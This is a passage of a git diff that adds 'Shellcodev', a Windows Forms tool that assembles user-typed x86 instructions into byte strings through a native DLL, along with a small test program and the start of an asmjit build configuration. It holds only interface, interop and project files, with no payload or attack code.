@@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 17 +VisualStudioVersion = 17.0.31717.71 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Shellcodev", "Shellcodev\Shellcodev.csproj", "{B00C54FA-DB0D-41B7-951E-39BD93D9FE20}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InstructionHandler", "InstructionHandler\InstructionHandler.vcxproj", "{34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestDLL", "TestDLL\TestDLL.csproj", "{AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + MinSizeRel|Any CPU = MinSizeRel|Any CPU + MinSizeRel|x64 = MinSizeRel|x64 + MinSizeRel|x86 = MinSizeRel|x86 + Release|Any CPU = Release|Any CPU + Release|x64 = Release|x64 + Release|x86 = Release|x86 + RelWithDebInfo|Any CPU = RelWithDebInfo|Any CPU + RelWithDebInfo|x64 = RelWithDebInfo|x64 + RelWithDebInfo|x86 = RelWithDebInfo|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.Debug|Any CPU.Build.0 = Debug|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.Debug|x64.ActiveCfg = Debug|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.Debug|x64.Build.0 = Debug|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.Debug|x86.ActiveCfg = Debug|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.Debug|x86.Build.0 = Debug|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.MinSizeRel|Any CPU.ActiveCfg = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.MinSizeRel|Any CPU.Build.0 = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.MinSizeRel|x64.ActiveCfg = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.MinSizeRel|x64.Build.0 = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.MinSizeRel|x86.ActiveCfg = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.MinSizeRel|x86.Build.0 = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.Release|Any CPU.ActiveCfg = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.Release|Any CPU.Build.0 = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.Release|x64.ActiveCfg = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.Release|x64.Build.0 = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.Release|x86.ActiveCfg = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.Release|x86.Build.0 = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.RelWithDebInfo|Any CPU.ActiveCfg = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.RelWithDebInfo|Any CPU.Build.0 = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.RelWithDebInfo|x64.ActiveCfg = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.RelWithDebInfo|x64.Build.0 = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.RelWithDebInfo|x86.ActiveCfg = Release|Any CPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20}.RelWithDebInfo|x86.Build.0 = Release|Any CPU + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.Debug|Any CPU.ActiveCfg = Debug|Win32 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.Debug|x64.ActiveCfg = Debug|x64 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.Debug|x64.Build.0 = Debug|x64 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.Debug|x86.ActiveCfg = Debug|Win32 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.Debug|x86.Build.0 = Debug|Win32 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.MinSizeRel|Any CPU.ActiveCfg = Release|x64 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.MinSizeRel|Any CPU.Build.0 = Release|x64 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.MinSizeRel|x64.ActiveCfg = Release|x64 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.MinSizeRel|x64.Build.0 = Release|x64 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.MinSizeRel|x86.ActiveCfg = Release|Win32 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.MinSizeRel|x86.Build.0 = Release|Win32 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.Release|Any CPU.ActiveCfg = Release|Win32 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.Release|x64.ActiveCfg = Release|x64 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.Release|x64.Build.0 = Release|x64 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.Release|x86.ActiveCfg = Release|Win32 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.Release|x86.Build.0 = Release|Win32 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.RelWithDebInfo|Any CPU.ActiveCfg = Release|x64 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.RelWithDebInfo|Any CPU.Build.0 = Release|x64 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.RelWithDebInfo|x64.ActiveCfg = Release|x64 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.RelWithDebInfo|x64.Build.0 = Release|x64 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.RelWithDebInfo|x86.ActiveCfg = Release|Win32 + {34A3C54E-7C33-4F9A-AF16-2CD5E68EA518}.RelWithDebInfo|x86.Build.0 = Release|Win32 + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.Debug|Any CPU.Build.0 = Debug|Any CPU + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.Debug|x64.ActiveCfg = Debug|Any CPU + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.Debug|x64.Build.0 = Debug|Any CPU + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.Debug|x86.ActiveCfg = Debug|Any CPU + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.Debug|x86.Build.0 = Debug|Any CPU + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.MinSizeRel|Any CPU.ActiveCfg = Debug|Any CPU + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.MinSizeRel|Any CPU.Build.0 = Debug|Any CPU + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.MinSizeRel|x64.ActiveCfg = Debug|Any CPU + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.MinSizeRel|x64.Build.0 = Debug|Any CPU + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.MinSizeRel|x86.ActiveCfg = Debug|Any CPU + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.MinSizeRel|x86.Build.0 = Debug|Any CPU + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.Release|Any CPU.ActiveCfg = Release|Any CPU + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.Release|Any CPU.Build.0 = Release|Any CPU + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.Release|x64.ActiveCfg = Release|Any CPU + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.Release|x64.Build.0 = Release|Any CPU + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.Release|x86.ActiveCfg = Release|Any CPU + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.Release|x86.Build.0 = Release|Any CPU + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.RelWithDebInfo|Any CPU.ActiveCfg = Release|Any CPU + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.RelWithDebInfo|Any CPU.Build.0 = Release|Any CPU + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.RelWithDebInfo|x64.ActiveCfg = Release|Any CPU + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.RelWithDebInfo|x64.Build.0 = Release|Any CPU + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.RelWithDebInfo|x86.ActiveCfg = Release|Any CPU + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF}.RelWithDebInfo|x86.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {F8D19A6E-26A1-42BC-8834-345D230AD641} + EndGlobalSection +EndGlobal diff --git a/Shellcodev/App.config b/Shellcodev/App.config new file mode 100644 index 0000000..193aecc --- /dev/null +++ b/Shellcodev/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/Shellcodev/Core/AssemblyHandler.cs b/Shellcodev/Core/AssemblyHandler.cs new file mode 100644 index 0000000..82c3116 --- /dev/null +++ b/Shellcodev/Core/AssemblyHandler.cs @@ -0,0 +1,35 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; + +namespace Shellcodev +{ + class API + { + [DllImport("instrhandle.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)] + public static extern IntPtr AssembleInstructions(string instruction); + } + + public class AssemblyHandler + { + public string Assembler(string instructions) + { + IntPtr pointer = API.AssembleInstructions(instructions); + string bytes = Marshal.PtrToStringAnsi(pointer); + + string temp = null; + for(int i = 0; i < bytes.Length; i++) + { + if(i % 2 != 0) //Starting from 0, place space every second byte + temp += bytes[i] + " "; + else + temp += bytes[i]; + } + + return temp; + } + } +} diff --git a/Shellcodev/Core/Instruction.cs b/Shellcodev/Core/Instruction.cs new file mode 100644 index 0000000..8e2a34d --- /dev/null +++ b/Shellcodev/Core/Instruction.cs @@ -0,0 +1,40 @@ +using System.Runtime.InteropServices; +using System.Windows.Forms; + +namespace Shellcodev +{ + public class InstrctuionValidator + { + //Validate instructions + public bool ValidateInstruction() + { + + //string[] split = instructionTxt.Text.Split(new string[] { ",", " "}, StringSplitOptions.None); + //split = split.Where(x => !string.IsNullOrEmpty(x)).ToArray(); //Remove empty values from array if someused comma and space + return true; + } + } + + public class Instruction + { + public string instruction; + private static int rowId = 1; + + public Instruction(string instruction) + { + this.instruction = instruction; + + Main main = Main.ReturnInstance(); + int rows = main.instructionGrid.Rows.Add(rowId); + DataGridViewRow row = main.instructionGrid.Rows[rows]; + + row.Cells["Instructions"].Value = instruction; + row.HeaderCell.Value = (row.Index + 1).ToString(); + + AssemblyHandler handler = new AssemblyHandler(); + string bytes = handler.Assembler(instruction); + + main.bytesBox.AppendText(bytes); + } + } +} diff --git a/Shellcodev/Forms/Main.Designer.cs b/Shellcodev/Forms/Main.Designer.cs new file mode 100644 index 0000000..c458490 --- /dev/null +++ b/Shellcodev/Forms/Main.Designer.cs @@ -0,0 +1,160 @@ +namespace Shellcodev +{ + partial class Main + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.instructionTxt = new System.Windows.Forms.TextBox(); + this.instructionGrid = new System.Windows.Forms.DataGridView(); + this.addinstructionBtn = new System.Windows.Forms.Button(); + this.genBtn = new System.Windows.Forms.Button(); + this.radioC = new System.Windows.Forms.RadioButton(); + this.radioCS = new System.Windows.Forms.RadioButton(); + this.makeBtn = new System.Windows.Forms.Button(); + this.bytesBox = new System.Windows.Forms.RichTextBox(); + this.Instructions = new System.Windows.Forms.DataGridViewTextBoxColumn(); + ((System.ComponentModel.ISupportInitialize)(this.instructionGrid)).BeginInit(); + this.SuspendLayout(); + // + // instructionTxt + // + this.instructionTxt.Location = new System.Drawing.Point(24, 388); + this.instructionTxt.Name = "instructionTxt"; + this.instructionTxt.Size = new System.Drawing.Size(256, 20); + this.instructionTxt.TabIndex = 0; + this.instructionTxt.KeyDown += new System.Windows.Forms.KeyEventHandler(this.instructionTxt_KeyDown); + // + // instructionGrid + // + this.instructionGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.instructionGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.Instructions}); + this.instructionGrid.Location = new System.Drawing.Point(24, 27); + this.instructionGrid.Name = "instructionGrid"; + this.instructionGrid.Size = new System.Drawing.Size(343, 341); + this.instructionGrid.TabIndex = 1; + // + // addinstructionBtn + // + this.addinstructionBtn.Location = new System.Drawing.Point(292, 388); + this.addinstructionBtn.Name = "addinstructionBtn"; + this.addinstructionBtn.Size = new System.Drawing.Size(75, 20); + this.addinstructionBtn.TabIndex = 2; + this.addinstructionBtn.Text = "Add"; + this.addinstructionBtn.UseVisualStyleBackColor = true; + this.addinstructionBtn.Click += new System.EventHandler(this.addinstructionBtn_Click); + // + // genBtn + // + this.genBtn.Location = new System.Drawing.Point(24, 444); + this.genBtn.Name = "genBtn"; + this.genBtn.Size = new System.Drawing.Size(75, 23); + this.genBtn.TabIndex = 2; + this.genBtn.Text = "Generate"; + this.genBtn.UseVisualStyleBackColor = true; + // + // radioC + // + this.radioC.AutoSize = true; + this.radioC.Location = new System.Drawing.Point(105, 438); + this.radioC.Name = "radioC"; + this.radioC.Size = new System.Drawing.Size(67, 17); + this.radioC.TabIndex = 3; + this.radioC.TabStop = true; + this.radioC.Text = "C Format"; + this.radioC.UseVisualStyleBackColor = true; + // + // radioCS + // + this.radioCS.AutoSize = true; + this.radioCS.Location = new System.Drawing.Point(105, 458); + this.radioCS.Name = "radioCS"; + this.radioCS.Size = new System.Drawing.Size(74, 17); + this.radioCS.TabIndex = 3; + this.radioCS.TabStop = true; + this.radioCS.Text = "C# Format"; + this.radioCS.UseVisualStyleBackColor = true; + // + // makeBtn + // + this.makeBtn.Location = new System.Drawing.Point(636, 133); + this.makeBtn.Name = "makeBtn"; + this.makeBtn.Size = new System.Drawing.Size(75, 23); + this.makeBtn.TabIndex = 2; + this.makeBtn.Text = "Make"; + this.makeBtn.UseVisualStyleBackColor = true; + this.makeBtn.Click += new System.EventHandler(this.makeBtn_Click); + // + // bytesBox + // + this.bytesBox.Location = new System.Drawing.Point(498, 27); + this.bytesBox.Name = "bytesBox"; + this.bytesBox.Size = new System.Drawing.Size(362, 100); + this.bytesBox.TabIndex = 4; + this.bytesBox.Text = ""; + // + // Instructions + // + this.Instructions.HeaderText = "Instruction"; + this.Instructions.Name = "Instructions"; + this.Instructions.Width = 300; + // + // Main + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(889, 490); + this.Controls.Add(this.bytesBox); + this.Controls.Add(this.radioCS); + this.Controls.Add(this.radioC); + this.Controls.Add(this.genBtn); + this.Controls.Add(this.makeBtn); + this.Controls.Add(this.addinstructionBtn); + this.Controls.Add(this.instructionGrid); + this.Controls.Add(this.instructionTxt); + this.Name = "Main"; + this.Text = "Shellcodev"; + ((System.ComponentModel.ISupportInitialize)(this.instructionGrid)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.TextBox instructionTxt; + private System.Windows.Forms.Button addinstructionBtn; + private System.Windows.Forms.Button genBtn; + private System.Windows.Forms.RadioButton radioC; + private System.Windows.Forms.RadioButton radioCS; + public System.Windows.Forms.DataGridView instructionGrid; + private System.Windows.Forms.Button makeBtn; + public System.Windows.Forms.RichTextBox bytesBox; + private System.Windows.Forms.DataGridViewTextBoxColumn Instructions; + } +} + diff --git a/Shellcodev/Forms/Main.cs b/Shellcodev/Forms/Main.cs new file mode 100644 index 0000000..3fa1359 --- /dev/null +++ b/Shellcodev/Forms/Main.cs @@ -0,0 +1,65 @@ +using System; +using System.Data; +using System.Linq; +using System.Windows.Forms; + +namespace Shellcodev +{ + public partial class Main : Form + { + private static Main instance; + public static Main ReturnInstance() + { + return instance; + } + + public Main() + { + InitializeComponent(); + instance = this; + } + + private void addinstructionBtn_Click(object sender, EventArgs e) + { + if(String.IsNullOrEmpty(instructionTxt.Text)) + return; + + new Instruction(instructionTxt.Text); + } + + private void makeBtn_Click(object sender, EventArgs e) + { + string inst = null; + foreach(DataGridViewRow row in instructionGrid.Rows) + { + for(int i = 0; i < row.Cells.Count; i++) + { + if (row.Cells[i].ColumnIndex == 1 && row.Cells[i + 1].Value != null) + { + inst += row.Cells[i].Value.ToString() + ", "; + } + else if (row.Cells[i].Value != null) + { + inst += row.Cells[i].Value.ToString() + " "; + } + else continue; + } + Console.WriteLine(inst); + inst = null; + } + } + + private void instructionTxt_KeyDown(object sender, KeyEventArgs e) + { + if(e.KeyCode == Keys.Enter) + { + addinstructionBtn_Click(sender, e); + instructionTxt.SelectAll(); + + //Disabling annoying bimbows ding sound on enter + e.Handled = true; + e.SuppressKeyPress = true; + } + } + } +} diff --git a/Shellcodev/Forms/Main.resx b/Shellcodev/Forms/Main.resx new file mode 100644 index 0000000..0a96480 --- /dev/null +++ b/Shellcodev/Forms/Main.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + \ No newline at end of file diff --git a/Shellcodev/Program.cs b/Shellcodev/Program.cs new file mode 100644 index 0000000..6f93f04 --- /dev/null +++ b/Shellcodev/Program.cs @@ -0,0 +1,22 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Shellcodev +{ + internal static class Program + { + /// + /// The main entry point for the application. + /// + [STAThread] + static void Main() + { + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Application.Run(new Main()); + } + } +} diff --git a/Shellcodev/Properties/AssemblyInfo.cs b/Shellcodev/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..a43efff --- /dev/null +++ b/Shellcodev/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("Shellcodev")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Shellcodev")] +[assembly: AssemblyCopyright("Copyright © 2021")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("b00c54fa-db0d-41b7-951e-39bd93d9fe20")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Shellcodev/Properties/Resources.Designer.cs b/Shellcodev/Properties/Resources.Designer.cs new file mode 100644 index 0000000..21dff10 --- /dev/null +++ b/Shellcodev/Properties/Resources.Designer.cs @@ -0,0 +1,71 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace Shellcodev.Properties +{ + + + /// + /// A strongly-typed resource class, for looking up localized strings, etc. + /// + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources + { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() + { + } + + /// + /// Returns the cached ResourceManager instance used by this class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager + { + get + { + if ((resourceMan == null)) + { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Shellcodev.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture + { + get + { + return resourceCulture; + } + set + { + resourceCulture = value; + } + } + } +} diff --git a/Shellcodev/Properties/Resources.resx b/Shellcodev/Properties/Resources.resx new file mode 100644 index 0000000..af7dbeb --- /dev/null +++ b/Shellcodev/Properties/Resources.resx @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Shellcodev/Properties/Settings.Designer.cs b/Shellcodev/Properties/Settings.Designer.cs new file mode 100644 index 0000000..7c0f13a --- /dev/null +++ b/Shellcodev/Properties/Settings.Designer.cs @@ -0,0 +1,30 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace Shellcodev.Properties +{ + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase + { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default + { + get + { + return defaultInstance; + } + } + } +} diff --git a/Shellcodev/Properties/Settings.settings b/Shellcodev/Properties/Settings.settings new file mode 100644 index 0000000..3964565 --- /dev/null +++ b/Shellcodev/Properties/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/Shellcodev/Shellcodev.csproj b/Shellcodev/Shellcodev.csproj new file mode 100644 index 0000000..9b58519 --- /dev/null +++ b/Shellcodev/Shellcodev.csproj @@ -0,0 +1,85 @@ + + + + + Debug + AnyCPU + {B00C54FA-DB0D-41B7-951E-39BD93D9FE20} + WinExe + Shellcodev + Shellcodev + v4.8 + 512 + true + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + Form + + + Main.cs + + + + + Main.cs + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + True + Resources.resx + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + + + \ No newline at end of file diff --git a/TestDLL/App.config b/TestDLL/App.config new file mode 100644 index 0000000..193aecc --- /dev/null +++ b/TestDLL/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/TestDLL/Program.cs b/TestDLL/Program.cs new file mode 100644 index 0000000..9f450b6 --- /dev/null +++ b/TestDLL/Program.cs @@ -0,0 +1,25 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; + +namespace TestDLL +{ + internal class Program + { + [DllImport("InstructionHandler.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)] + public static extern IntPtr AssembleInstructions(string instruction); + + static void Main(string[] args) + { + string instruction = "xor eax,eax"; + + IntPtr mem = AssembleInstructions(instruction); + string v = Marshal.PtrToStringAnsi(mem); + Console.WriteLine(v); + Console.ReadLine(); + } + } +} diff --git a/TestDLL/Properties/AssemblyInfo.cs b/TestDLL/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..810b433 --- /dev/null +++ b/TestDLL/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("TestDLL")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("TestDLL")] +[assembly: AssemblyCopyright("Copyright © 2021")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("aee59ecd-07d3-4fda-ad8a-0c81bb26e8bf")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/TestDLL/TestDLL.csproj b/TestDLL/TestDLL.csproj new file mode 100644 index 0000000..010737e --- /dev/null +++ b/TestDLL/TestDLL.csproj @@ -0,0 +1,54 @@ + + + + + Debug + AnyCPU + {AEE59ECD-07D3-4FDA-AD8A-0C81BB26E8BF} + Exe + TestDLL + TestDLL + v4.8 + 512 + true + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/asmjit/.appveyor.yml b/asmjit/.appveyor.yml new file mode 100644 index 0000000..d003e0b --- /dev/null +++ b/asmjit/.appveyor.yml @@ -0,0 +1,78 @@ +version: "{build}" + +image: Visual Studio 2015 +clone_folder: c:\dev\asmjit + +environment: + matrix: + - BUILD_TYPE: Debug + MINGW_PATH: C:\msys64\mingw64 + TOOLCHAIN: "MinGW Makefiles" + + - BUILD_TYPE: Release + MINGW_PATH: C:\msys64\mingw64 + TOOLCHAIN: "MinGW Makefiles" + + - BUILD_TYPE: Debug + TOOLCHAIN: "Visual Studio 10 2010" + + - BUILD_TYPE: Release + TOOLCHAIN: "Visual Studio 10 2010" + + - BUILD_TYPE: Debug + TOOLCHAIN: "Visual Studio 10 2010 Win64" + + - BUILD_TYPE: Release + TOOLCHAIN: "Visual Studio 10 2010 Win64" + + - BUILD_TYPE: Debug + TOOLCHAIN: "Visual Studio 12 2013" + + - BUILD_TYPE: Release + TOOLCHAIN: "Visual Studio 12 2013" + + - BUILD_TYPE: Debug + TOOLCHAIN: "Visual Studio 12 2013 Win64" + + - BUILD_TYPE: Release + TOOLCHAIN: "Visual Studio 12 2013 Win64" + + - BUILD_TYPE: Debug + TOOLCHAIN: "Visual Studio 14 2015" + + - BUILD_TYPE: Release + TOOLCHAIN: "Visual Studio 14 2015" + + - BUILD_TYPE: Debug + TOOLCHAIN: 